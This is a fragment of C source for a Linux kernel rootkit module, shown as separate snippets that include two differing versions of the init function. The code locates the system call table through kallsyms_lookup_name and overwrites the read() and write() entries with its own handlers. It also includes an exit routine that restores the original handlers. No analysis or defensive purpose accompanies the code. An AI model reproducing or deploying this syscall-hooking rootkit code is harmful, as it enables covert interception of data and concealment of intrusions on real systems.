static void __exit rk_exit(void) { bitMe(); //unhook write() SYS_CALL_TABLE[__NR_write] = (unsigned long*)original_write; //unhook read() SYS_CALL_TABLE[__NR_read] = (unsigned long*)original_read; unBitMe(); printk(KERN_INFO "Cya dawg."); }
static int __init rk_init(void) { printk(KERN_INFO "Hello, from hell.\n"); printk(KERN_ALERT "System call table at %p\n", SYS_CALL_TABLE); bitMe(); //hook write() original_write = (void*)SYS_CALL_TABLE[__NR_write]; SYS_CALL_TABLE[__NR_write] = (unsigned long*)rk_write; //hook read(); original_read = (void*)SYS_CALL_TABLE[__NR_read]; SYS_CALL_TABLE[__NR_read] = (unsigned long*)rk_read; unBitMe(); return 0; }
static int __init rk_init(void) { SYS_CALL_TABLE = (unsigned long**)kallsyms_lookup_name("sys_call_table"); printk(KERN_INFO "Hello.\n"); printk(KERN_INFO "System call table at %p\n", SYS_CALL_TABLE); bitMe(); //hook write() original_write = (void*)SYS_CALL_TABLE[__NR_write]; SYS_CALL_TABLE[__NR_write] = (unsigned long*)rk_write; //hook read(); original_read = (void*)SYS_CALL_TABLE[__NR_read]; SYS_CALL_TABLE[__NR_read] = (unsigned long*)rk_read; unBitMe(); return 0; }